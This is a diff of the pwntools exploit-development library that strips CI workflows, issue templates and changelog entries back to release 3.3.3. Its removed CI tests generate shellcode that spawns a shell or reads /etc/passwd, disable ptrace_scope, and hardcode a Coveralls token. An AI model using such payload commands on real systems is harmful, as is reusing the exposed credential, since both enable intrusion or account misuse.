Release 3.3.3

.coveragerc

@@ -1,11 +1,8 @@
 [run]
 branch = True
-parallel = True
-concurrency = thread,multiprocessing
 omit =
     */constants/*
 source =
     pwn
     pwnlib
-    ~/.pwntools-cache-2.7/
-    ~/.pwntools-cache-3.8/
+    ~/.pwntools-cache/

.github/ISSUE_TEMPLATE.md

@@ -4,11 +4,6 @@ Thanks for contributing to Pwntools!
 
 When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
 
-Please verify that your issue occurs on 64-bit Ubuntu 14.04.  You can use the Dockerfile on `docker.io` for quick testing.
-
-```
-$ docker pull pwntools/pwntools:stable
-$ docker run -it pwntools/pwntools:stable
-```
+Please verify that your issue occurs on 64-bit Ubuntu 14.04.  You can use the Dockerfile in `extra/docker/Dockerfile` to save time.
 
 If possible, provide a proof-of-concept which demonstrates the problem.  Include any binaries or scripts necessary to reproduce the issue, and please include the full debug output via setting the environment variable `PWNLIB_DEBUG=1`.

.github/ISSUE_TEMPLATE/bug_report.md

@@ -1,54 +0,0 @@
----
-name: Bug report
-about: Create a report to help us improve
-title: ''
-labels: backport-required, bug
-assignees: ''
-
----
-
-Thanks for contributing to Pwntools!
-
-## Update Pwntools First
-
-When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
-
-## Debug Output
-
-Having the extra debug output really helps us, and might help you diagnose the problem yourself.
-
-When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.
-
-```sh
-$ python exploit.py DEBUG LOG_FILE=log.txt
-```
-
-You should see `[DEBUG]` statements that show what's happening behind the scenes:
-
-```
-[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823
-[DEBUG] Sent 0x7 bytes:
-    'whoami\n'
-[DEBUG] Sent 0x5 bytes:
-    'exit\n'
-[+] Receiving all data: Done (11B)
-[DEBUG] Received 0xb bytes:
-    'crashheap\n'
-[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)
-```
-
-## Verify on Ubuntu
-
-If possible, please verify that your issue occurs on 64-bit Ubuntu 18.04.  We provide a Dockerfile based on Ubuntu 18.04 via `docker.io` to make this super simple, no VM required!
-
-```sh
-# Download the Docker image
-$ docker pull pwntools/pwntools:stable
-
-# Boot the image
-$ docker run -it pwntools/pwntools:stable
-
-pwntools@7dc3ef409476:~$ python
->>> from pwn import *
->>> # Test your code here
-```

.github/ISSUE_TEMPLATE/feature_request.md

@@ -1,18 +0,0 @@
----
-name: Feature request
-about: Suggest an idea for this project
-title: ''
-labels: feature
-assignees: ''
-
----
-
-Thanks for contributing to Pwntools!   Ideas from the community help make Pwntools an amazing tool for everybody.
-
-If you've got an idea for a new feature, please provide information about:
-
-* What the feature does
-* Why the feature should exit
-* What tests should be included
-
-If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!

.github/ISSUE_TEMPLATE/question.md

@@ -1,18 +0,0 @@
----
-name: Question
-about: Ask us a question about Pwntools
-title: ''
-labels: question
-assignees: ''
-
----
-
-Thanks for using Pwntools!  If you have a question, here are some tips that will make it easier for us to help you.
-
-## Check the Documentation
-
-Pwntools has REALLY extensive documentation.  Please check there first!  https://docs.pwntools.com
-
-## Debug Output
-
-If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`.  This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.

.github/PULL_REQUEST_TEMPLATE.md

@@ -25,8 +25,3 @@ You can always [change the branch][change] after you create the PR if it's again
 [contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
 [testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
 [change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
-
-## Changelog
-
-After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.  
-You can look at the existing changelog for examples of how to do this.

.github/workflows/changelog.yml

@@ -1,29 +0,0 @@
-name: Changelog
-on: [pull_request]
-env:
-  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
-
-jobs:
-  build:
-    strategy:
-      matrix:
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 5
-    steps:
-    - uses: actions/checkout@v2
-      with:
-        fetch-depth: 0
-
-    - name: Check changelog for updates
-      run: |
-        if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
-           echo 'Changelog updated :D'
-        else
-           if git log --stat ${GITHUB_BASE}..HEAD | grep '++\|--'; then
-              echo 'Major changes detected, changelog required!'
-              false
-           else
-              echo 'Minor changes detected, no changelog required!'
-           fi
-        fi

.github/workflows/ci.yml

@@ -1,221 +0,0 @@
-name: Continuous Integration
-on: [push, pull_request]
-
-jobs:
-  test:
-    strategy:
-      matrix:
-        python-version: [2.7, 3.8]
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 30
-    steps:
-    - uses: actions/checkout@v2
-      with:
-        fetch-depth: 0
-
-    - name: Git History 2
-      run: git log --oneline --graph -10
-
-    - name: Cache for pip
-      uses: actions/cache@v1
-      id: cache-pip
-      with:
-        path: ~/.cache/pip
-        key: ${{ matrix.os }}-cache-pip
-
-    - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v1
-      with:
-        python-version: ${{ matrix.python-version }}
-
-    - name: Verify tag against version
-      if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
-      env:
-        GITHUB_REF: ${{ github.event.ref }}
-      run: |
-        set -x
-        GITHUB_TAG=${GITHUB_REF#refs/tags/}
-        echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
-        vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
-        vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
-        [ "$vsetup" = "$vpwnlib" ]
-        [ "$GITHUB_TAG" = "$vsetup" ]
-
-    - name: Detect whether java is needed
-      id: java-needed
-      env:
-        GITHUB_REF: ${{ github.event.ref }}
-        GITHUB_COMMIT_RANGE: ${{ github.event.before }}...${{ github.event.after }}
-      run: |
-        if echo "$GITHUB_REF" | grep -Eq 'staging|tags'; then
-          echo "Found release or important branch ($GITHUB_REF), forcing tests."
-        elif ! git show "$GITHUB_COMMIT_RANGE" >/dev/null; then
-          echo 'Incorrect commit range, forcing android tests.'
-        elif git log --stat "$GITHUB_COMMIT_RANGE" | grep -iE 'android|\<adb\>'; then
-          echo 'Found Android-related commits, forcing tests.'
-        else
-          # clear files that cause Android doctests
-          : > docs/source/adb.rst > docs/source/protocols/adb.rst
-          exit 0
-        fi
-        echo ::set-output name=need::openjdk-8-jre-headless
-
-    - name: Install Linux dependencies
-      env:
-        ANDROID_JRE: ${{ steps.java-needed.outputs.need }}
-      run: |
-        sudo apt-get update
-        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
-          ash bash-static dash ksh mksh zsh \
-          pandoc gdb gdbserver socat sshpass \
-          binutils-multiarch qemu-user-static \
-          binutils-aarch64-linux-gnu \
-          binutils-arm-linux-gnueabihf \
-          binutils-mips-linux-gnu \
-          binutils-powerpc-linux-gnu \
-          gcc-multilib \
-          libc6-dbg \
-          $ANDROID_JRE
-
-    - name: Install android avd
-      if:  steps.java-needed.outputs.need
-      run: |
-        USER=travis source travis/install.sh
-        set | egrep '^(ANDROID|PATH)' >.android.env
-
-    - name: Set up SSH
-      run: |
-        travis/ssh_setup.sh
-
-    - name: Install dependencies
-      run: |
-        pip install --upgrade pip
-        pip install --upgrade flake8 appdirs
-        python setup.py egg_info
-        pip install --upgrade --editable .
-
-    - name: Sanity checks
-      run:  PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-
-    - name: Install documentation dependencies
-      run:  pip install -r docs/requirements.txt
-
-    - name: Disable broken tests
-      run: |
-        rm -f docs/source/elf/corefile.rst
-
-    - name: Manually install non-broken Unicorn
-      run:  pip install unicorn==1.0.2rc3
-
-    - name: Coverage doctests
-      run: |
-        source .android.env || :
-        echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
-        PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
-
-    - name: Coverage running examples
-      run: |
-        export TERM=linux
-        set -x
-        python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py
-        python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?
-        coverage run examples/asm.py
-        coverage run examples/asm.py
-        coverage run examples/text.py
-        # for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong
-
-    - name: Coverage running commandline tools
-      run: |
-        export TERM=linux
-        pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec coverage run -m pwnlib.commandline."$cmd" "$@" ) }
-        set -x
-
-        pwn cyclic 32
-        pwn cyclic -l 0x62616161
-        pwn cyclic -a ab
-        echo
-
-        pwn shellcraft --list |tail
-        pwn shellcraft -l --syscalls |tail
-        pwn shellcraft -l execve
-        pwn shellcraft --show i386.linux.loader_append
-        pwn shellcraft -f asm --color amd64.linux.sh
-        pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
-        pwn shellcraft -f i   --color amd64.linux.cat /etc/passwd </dev/null
-        pwn shellcraft -f c   amd64.linux.syscalls.exit 0 </dev/null
-        pwn shellcraft -f str aarch64.linux.sh </dev/null
-        pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
-        pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
-        pwn shellcraft -fp aarch64.trap
-
-        pwn disasm --color ff3424c3ebfe
-        pwn asm -f hex nop
-
-        pwn hex abcd
-        pwn unhex 4141 4141
-
-        cat /dev/urandom | pwn phd --color -c 256 -s 2
-        pwn phd -l 0x3d --color=always /etc/os-release
-
-        pwn checksec /bin/bash
-
-        pwn errno 2
-        pwn errno -1
-        pwn errno EADDRINUSE
-
-        pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
-        pwn constgrep ^MAP_ 0
-        pwn constgrep -e O_RDWR
-
-    - name: Build source and wheel distributions
-      run: |
-        python setup.py sdist
-        python setup.py bdist_wheel --universal
-
-    - uses: actions/upload-artifact@v2
-      with:
-        name: packages
-        path: dist/
-
-    - name: Upload coverage to coveralls.io
-      run: |
-        coverage combine
-        COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
-
-  staging-merge:
-    runs-on: ubuntu-latest
-    if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
-    needs: test
-    steps:
-    - uses: actions/checkout@v2
-      with:
-        fetch-depth: 20
-    - name: Push changes to protected branch
-      env:
-        GITHUB_REF: ${{ github.event.ref }}
-      run: |
-        BRANCH=${GITHUB_REF#refs/heads/}
-        TARGET=${BRANCH%-staging}
-        git branch -f "$TARGET"
-        git push origin "$TARGET"
-
-  pypi:
-    runs-on: ubuntu-latest
-    if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
-    needs: test
-    steps:
-    - name: Download artifacts
-      uses: actions/download-artifact@v2
-      with:
-        name: packages
-        path: dist
-
-    - name: Publish package
-      uses: pypa/[email protected]
-      with:
-        user: __token__
-        password: ${{ secrets.pypi_password }}
-
-    - if: failure()
-      run: ls -R

.github/workflows/lint.yml

@@ -1,33 +0,0 @@
-name: Lint
-on: [push, pull_request]
-
-jobs:
-  lint:
-    strategy:
-      matrix:
-        python-version: [3.8]
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 30
-    steps:
-    - uses: actions/checkout@v2
-      with:
-        fetch-depth: 0
-
-    - name: Cache for pip
-      uses: actions/cache@v1
-      id: cache-pip
-      with:
-        path: ~/.cache/pip
-        key: ${{ matrix.os }}-cache-pip
-
-    - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v1
-      with:
-        python-version: ${{ matrix.python-version }}
-
-    - name: Lint
-      run: |
-        pip install flake8
-        flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
-        flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=pwnlib/constants,android-?dk,.git,__pycache__

.github/workflows/merge-conflict.yml

@@ -1,28 +0,0 @@
-name: Check for merge markers
-on: [pull_request]
-env:
-  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
-
-jobs:
-  mergecheck:
-    strategy:
-      matrix:
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 5
-    steps:
-    - uses: actions/checkout@v2
-      with:
-        fetch-depth: 0
-
-    - name: Check for merge conflict markers commited
-      run: |
-        if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
-            echo 'WARNING: Merge marker commits found in history.'
-            if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
-                echo 'ERROR: Merge markers still present! Do something!'
-                exit 1
-            fi
-        else
-            echo 'Congrats! All the merges you did were clean or resolved correctly :)'
-        fi

.gitignore

@@ -11,9 +11,7 @@ docs/build
 build
 MANIFEST
 dist
-venv
-.vscode
 *.egg-info
 *.core
 .coverage
-.coverage.*
+.tox

.travis.yml

@@ -1,7 +1,10 @@
+sudo: false
 language: python
 addons:
   apt:
     packages:
+    - gcc-multilib
+    - gcc-4.6-arm-linux-gnueabihf
     - lib32stdc++6
     - ash
     - bash
@@ -10,52 +13,27 @@ addons:
     - mksh
     - zsh
     - pandoc
-    - gdb
-    - socat
-    - sshpass
-    - binutils
-    - qemu-user-static
-    - binutils-multiarch
-    - binutils-aarch64-linux-gnu
-    - binutils-arm-linux-gnueabihf
-    - binutils-mips-linux-gnu
-    - binutils-powerpc-linux-gnu
-    - bash-static
 cache:
     - pip
     - directories:
         - usr
-        - /home/travis/virtualenv/python2.7.15/lib/python2.7/site-packages/
-        - /home/travis/virtualenv/python2.7.15/bin/
-        - /home/travis/virtualenv/python3.8.*/lib/python3.8/site-packages/
-        - /home/travis/virtualenv/python3.8.*/bin/
-        - docs/build/doctest/.doctrees
+        - /home/travis/virtualenv/python2.7.9/lib/python2.7/site-packages/
+        - /home/travis/virtualenv/python2.7.9/bin/
 python:
   - "2.7"
-  - "3.8"
 before_install:
-  - echo $-
   - source travis/install.sh
   - source travis/ssh_setup.sh
-  - echo $-
 install:
-  - pip install --upgrade pip
-  - pip install --upgrade flake8 appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
-  - python setup.py egg_info      # pypa/pip#6275
   - pip install --upgrade --editable .
-  - pip install --upgrade --requirement docs/requirements.txt
+  - pip install --requirement docs/requirements.txt
 before_script:
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-  - sudo sh -c "echo 0 > /proc/sys/kernel/yama/ptrace_scope"
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
+  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
 script:
-  # stop the build if there are Python syntax errors or undefined names
-  - flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
-  # exit-zero treats all errors as warnings.  The GitHub editor is 127 chars wide
   - PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
-  - coverage combine
 after_success:
   - coveralls
   - source travis/update_demo.sh

CHANGELOG.md

@@ -9,39 +9,9 @@ The table below shows which release corresponds to each branch, and what date th
 
 | Version          | Branch   | Release Date           |
 | ---------------- | -------- | ---------------------- |
-| [4.4.0](#440)    | `dev`    | Sep 1, 2020 (planned)
-| [4.3.0](#430)    | `beta`   | Aug 1, 2020 (planned)
-| [4.2.0](#420)    | `stable` | Jul 3, 2020 (planned)
-| [4.1.7](#417)    |          | Jun 30, 2020
-| [4.1.5](#415)    |          | Jun 27, 2020
-| [4.1.4](#414)    |          | Jun 26, 2020
-| [4.1.3](#413)    |          | Jun 23, 2020
-| [4.1.2](#412)    |          | Jun 5, 2020
-| [4.1.1](#411)    |          | Jun 3, 2020
-| [4.1.0](#410)    |          | May 8, 2020
-| [4.0.1](#401)    |          | Jan 22, 2020
-| [4.0.0](#400)    |          | Jan 09, 2020
-| [3.13.0](#3130)  |          | Nov 5, 2019
-| [3.12.2](#3122)  |          | Jan 8, 2019
-| [3.12.1](#3121)  |          | Sept 17, 2018
-| [3.12.0](#3120)  |          | Feb 22, 2018
-| [3.11.0](#3110)  |          | Jan 3, 2018
-| [3.10.0](#3100)  |          | Oct 25, 2017
-| [3.9.2](#392)    |          | Oct 5, 2017
-| [3.9.1](#391)    |          | Sep 28, 2017
-| [3.9.0](#390)    |          | Sep 11, 2017
-| [3.8.0](#380)    |          | Jul 29, 2017
-| [3.7.1](#371)    |          | Jul 14, 2017
-| [3.7.0](#370)    |          | Jun 19, 2017
-| [3.6.1](#361)    |          | May 12, 2017
-| [3.6.0](#360)    |          | May 8, 2017
-| [3.5.1](#351)    |          | Apr 15, 2017
-| [3.5.0](#350)    |          | Mar 26, 2017
-| [3.4.1](#341)    |          | Feb 17, 2017
-| [3.4.0](#340)    |          | Feb 13, 2017
-| [3.3.4](#334)    |          | Jan 12, 2016
-| [3.3.3](#333)    |          | Jan 10, 2016
-| [3.3.2](#332)    |          | Jan 10, 2016
+| [3.5.0](#350)    | `dev`    | Mar 18, 2017 (planned)
+| [3.4.0](#340)    | `beta`   | Feb 4, 2017 (planned)
+| [3.3.2](#332)    | `stable` | Jan 10, 2016
 | [3.3.1](#331)    |          | Jan 10, 2016
 | [3.3.0](#330)    |          | Dec 24, 2016
 | [3.2.1](#321)    |          | Dec 24, 2016
@@ -55,464 +25,13 @@ The table below shows which release corresponds to each branch, and what date th
 | [3.0.0](#300)    |          | Aug 20, 2016
 | [2.2.0](#220)    |          | Jan 5, 2015
 
-## 4.4.0 (`dev`)
-
-- [#1616][1616] Fix `cyclic` cli for 64 bit integers
-
-[1616]: https://github.com/Gallopsled/pwntools/pull/1616
-
-## 4.3.0 (`beta`)
-
-- [#1576][1576] Add `executable=` argument to `ELF.search`
-- [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP`
-- [#1592][1592] Fix over-verbose logging of process() environment
-- [#1593][1593] Colorize output of `pwn template`
-- [#1601][1601] Add `pwn version` command line tool
-- [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end
-- [#1613][1613] Permit `--password` for `pwn template`
-- [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64
-- [#1621][1621] Permit negative values in flat() and fit()
-
-[1576]: https://github.com/Gallopsled/pwntools/pull/1576
-[1584]: https://github.com/Gallopsled/pwntools/pull/1584
-[1592]: https://github.com/Gallopsled/pwntools/pull/1592
-[1593]: https://github.com/Gallopsled/pwntools/pull/1593
-[1601]: https://github.com/Gallopsled/pwntools/pull/1601
-[1605]: https://github.com/Gallopsled/pwntools/pull/1605
-[1613]: https://github.com/Gallopsled/pwntools/pull/1613
-[1564]: https://github.com/Gallopsled/pwntools/pull/1564
-[1621]: https://github.com/Gallopsled/pwntools/pull/1621
-
-## 4.2.1 (`stable`)
-
-- [#1625][1625] GDB now properly loads executables with QEMU
-- [#1663][1663] Change lookup algorithm of `adb.which`
-- [#1699][1699] Fix broken linux shellcraft templates
-
-[1625]: https://github.com/Gallopsled/pwntools/pull/1625
-[1699]: https://github.com/Gallopsled/pwntools/pull/1699
-
-## 4.2.0
-
-- [#1436][1436] Add ret2dlresolve automation
-- [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)
-- Miscellanous improvements to DynElf and fmtstr leaker (see examples/fmtstr/exploit2.py)
-- [#1454][1454] Support for windows console colors
-
-[1436]: https://github.com/Gallopsled/pwntools/pull/1436
-[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
-[1454]: https://github.com/Gallopsled/pwntools/pull/1454
-
-## 4.1.7 (`stable`)
-
-- [#1615][1615] Fix aarch64 pushstr and pushstr_array
-
-[1615]: https://github.com/Gallopsled/pwntools/pull/1454
-
-## 4.1.5
-
-- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
-
-[1517]: https://github.com/Gallopsled/pwntools/pull/1517
-
-## 4.1.4
-
-- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields
-
-[1609]: https://github.com/Gallopsled/pwntools/pull/1609
-
-## 4.1.3
-
-- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes
-  - Also fix `run_in_new_terminal` for Py2 unicode strings
-- [#1595][1595] Fix ssh.process(timeout=)
-
-[1590]: https://github.com/Gallopsled/pwntools/pull/1590
-[1595]: https://github.com/Gallopsled/pwntools/pull/1595
-
-## 4.1.2
-
-- Pwntools requires `six` v.1.12.0 or higher
-
-## 4.1.1
-
-- Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)
-- Fix wrong ELF/context unpack handling (c4c11a37)
-- Fix updating of ELF.functions addresses after changing ELF.address #1512 (#1513)
-- Update Corefile warnings and replace asserts with normal checks (#1526)
-- several py2-py3 issues (#1451)
-- Fix cyclic command
-
-## 4.1.0
-
-- [#1316][1316] Fix connect shellcraft in python 3
-- [#1323][1323] Fix issues related with debugging
-- [#1001][1001] Enhance `unlock_bootloader` with better status messages
-- [#1389][1389] remove old dependencies
-- [#1241][1241] Launch QEMU with sysroot if specified
-- [#1218][1218] Support for FileStructure exploitation
-
-[1316]: https://github.com/Gallopsled/pwntools/pull/1316
-[1323]: https://github.com/Gallopsled/pwntools/pull/1323
-[1001]: https://github.com/Gallopsled/pwntools/pull/1001
-[1389]: https://github.com/Gallopsled/pwntools/pull/1389
-[1241]: https://github.com/Gallopsled/pwntools/pull/1241
-[1218]: https://github.com/Gallopsled/pwntools/pull/1218  
-
-## 4.0.1
-
-- [#1412][1412] `recvline_pred()` and similar do not reorder data
-- Bypass unicorn-engine/unicorn#1100 and unicorn-engine/unicorn#1170 requiring unstable package
-
-[1412]: https://github.com/Gallopsled/pwntools/pull/1412
-
-## 4.0.0
-
-- **Python 3 support! <3**
-- [#1402][1402] Fix serialtube in python 3
-- [#1391][1391] Fix process.libs
-- [#1317][1317] Tubes with `context.encoding`
-- [#1216][1216] Improve format string generator
-- [#1285][1285] Add freebsd generic syscall templates
-- [76413f][76413f] Add pwnlib.adb.bootimg for 'ANDROID!' format boot.img images
-- [#1202][1202] Docker: Kill 14 layers in pwntools base images
-- [#1182][1182] shellcraft.dupio() for mips
-
-[1402]: https://github.com/Gallopsled/pwntools/pull/1402
-[1391]: https://github.com/Gallopsled/pwntools/pull/1391
-[1317]: https://github.com/Gallopsled/pwntools/pull/1317
-[1285]: https://github.com/Gallopsled/pwntools/pull/1285
-[1216]: https://github.com/Gallopsled/pwntools/pull/1216
-[1202]: https://github.com/Gallopsled/pwntools/pull/1202
-[1182]: https://github.com/Gallopsled/pwntools/pull/1182
-[76413f]: https://github.com/Gallopsled/pwntools/commit/76413f
-
-## 3.13.0
-
-- [#1204][1204] Reduce ROP cache filename length
-- [#1175][1175] Fix nested SSH connectors
-- [#1355][1355] Fix 'break' syscall
-- [#1277][1277] Fix timeout parameter passing in sendlineafter and other similar functions
-- [#1292][1292] Provide correct arch name to gdb for sparc64
-
-[1175]: https://github.com/Gallopsled/pwntools/pull/1175
-[1204]: https://github.com/Gallopsled/pwntools/pull/1204
-[1277]: https://github.com/Gallopsled/pwntools/pull/1277
-[1292]: https://github.com/Gallopsled/pwntools/pull/1292
-[1355]: https://github.com/Gallopsled/pwntools/pull/1355
-
-## 3.12.2
-
-- [#1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx
-- [#1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.
-
-[1242]: https://github.com/Gallopsled/pwntools/pull/1242
-[1243]: https://github.com/Gallopsled/pwntools/pull/1243
-
-## 3.12.1
-
-- [#1198][1198] More compatibility fixes for pyelftools==0.25, and pin Sphinx<1.8.0 since it causes testing errors
-- [#1191][1191] Fix compatibility with pyelftools==0.25
-- [#1159][1159] Fix check for `/proc/.../status`
-- [#1162][1162] Fix broken package versions
-- [#1150][1150] Fix exception raised when a cache file is missing
-- [#1156][1156] Fix ROP gadget selection logic involving `int` and `syscall` instructions
-- [#1152][1152] Fix QEMU LD_PREFIX calculation (wrong parameter passed)
-- [#1155][1155] Use Ubuntu Trusty for all CI builds
-- [#1131][1131] Add "libc-" to libc prefixes in `process` tubes
-- [#1125][1125] Fix a typo
-- [#1121][1121] Fix tests which were broken by an upstream Sphinx change
-- [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files
-- [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation
-- [5fdc08][5fdc08] Work around broken `pidof` on Android
-- [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception
-- [#1094][1094] Make hexdump output alignment more consistent
-- [#1096][1096] `flat()` and `fit()` are now the same function
-
-[1198]: https://github.com/Gallopsled/pwntools/pull/1198
-[1191]: https://github.com/Gallopsled/pwntools/pull/1191
-[1159]: https://github.com/Gallopsled/pwntools/pull/1159
-[1162]: https://github.com/Gallopsled/pwntools/pull/1162
-[1150]: https://github.com/Gallopsled/pwntools/pull/1150
-[1156]: https://github.com/Gallopsled/pwntools/pull/1156
-[1152]: https://github.com/Gallopsled/pwntools/pull/1152
-[1155]: https://github.com/Gallopsled/pwntools/pull/1155
-[1131]: https://github.com/Gallopsled/pwntools/pull/1131
-[1125]: https://github.com/Gallopsled/pwntools/pull/1125
-[1121]: https://github.com/Gallopsled/pwntools/pull/1121
-[1104]: https://github.com/Gallopsled/pwntools/pull/1104
-[1101]: https://github.com/Gallopsled/pwntools/pull/1101
-[1094]: https://github.com/Gallopsled/pwntools/pull/1094
-[1096]: https://github.com/Gallopsled/pwntools/pull/1096
-[5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08
-[63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed
-
-## 3.12.0
-
-- [#1083][1083] Better error messages for `gdb` when `LD_PRELOAD` is incorrect
-- [#1085][1085] Add support for extracting Android `BOOTLDR!` images
-- [#1075][1075] Add support for detecting GNU Screen for `run_in_new_terminal`
-- [#1074][1074] Add support for running `pwntools-gdb` wrapper script instead of `gdb`
-- [#1068][1068] Work around very old OpenSSL versions which don't have sha256 support *AND* don't exit with an error code when trying to use it
-- [#1067][1067] Add `pwnlib.tubes.server` module, which adds a reusable `server` listener
-- [#1063][1063] Add support for labels in `fit()`, allowing dynamic contents to be injected.  (This feature is really cool, check out the pull request!)
-
-[1083]: https://github.com/Gallopsled/pwntools/pull/1083
-[1085]: https://github.com/Gallopsled/pwntools/pull/1085
-[1075]: https://github.com/Gallopsled/pwntools/pull/1075
-[1074]: https://github.com/Gallopsled/pwntools/pull/1074
-[1068]: https://github.com/Gallopsled/pwntools/pull/1068
-[1067]: https://github.com/Gallopsled/pwntools/pull/1067
-[1063]: https://github.com/Gallopsled/pwntools/pull/1063
-
-## 3.11.0
-
-- [#1044][1044] Enhancements to ROP
-    + Much better support for 64-bit Intel (amd64) ROP
-    + ROP gadget selection is optimized to favor multi-pops instead of multiple single-pop gadgets
-    + Added support for blacklisting byte values in ROP gadget addresses
-- [#1049][1049] Enhancements to `cyclic`
-    + `context` now has two additional attributes, `cyclic_alphabet` and `cyclic_length`, which correspond to the arguments `alphabet` and `n` to `cyclic()` and `cyclic_find()` and related routines.
-    + The motivation for this change is to allow setting the `alphabet` globally, so that any padding / patterns generated internally to pwntools can be controlled.  The specific motivation is blacklisting values in ROP padding.
-- [#1052][1052] Enhancements for detecting `QEMU_LD_PREFIX` used by QEMU user-mode emulation for sysroots
-- [#1035][1035] Minor documentation changes
-- [#1032][1032] Enhancements to `pwn template`
-- [#1031][1031] More accurate `Coredump.fault_addr` on amd64
-- [#1084][1084] Fix broken tests due to `ftp.debian.org` going down
-
-[1044]: https://github.com/Gallopsled/pwntools/pull/1044
-[1049]: https://github.com/Gallopsled/pwntools/pull/1049
-[1052]: https://github.com/Gallopsled/pwntools/pull/1052
-[1035]: https://github.com/Gallopsled/pwntools/pull/1035
-[1032]: https://github.com/Gallopsled/pwntools/pull/1032
-[1031]: https://github.com/Gallopsled/pwntools/pull/1031
-[1084]: https://github.com/Gallopsled/pwntools/pull/1084
-
-## 3.10.0
-
-- [#1007][1007] Add support for setting a `gdbinit` file in the context
-- [#1055][1055] Fixes for `Corefile` stack parsing, speed up `ELF.string()`
-- [#1057][1057] Fix a variable name typo in `DynELF` logging which results in an exception being thrown
-- [#1058][1058] Fix an edge case in `ssh_process.exe`
-
-[1007]: https://github.com/Gallopsled/pwntools/pull/1007
-[1055]: https://github.com/Gallopsled/pwntools/pull/1055
-[1057]: https://github.com/Gallopsled/pwntools/pull/1057
-[1058]: https://github.com/Gallopsled/pwntools/pull/1058
-
-## 3.9.2
-
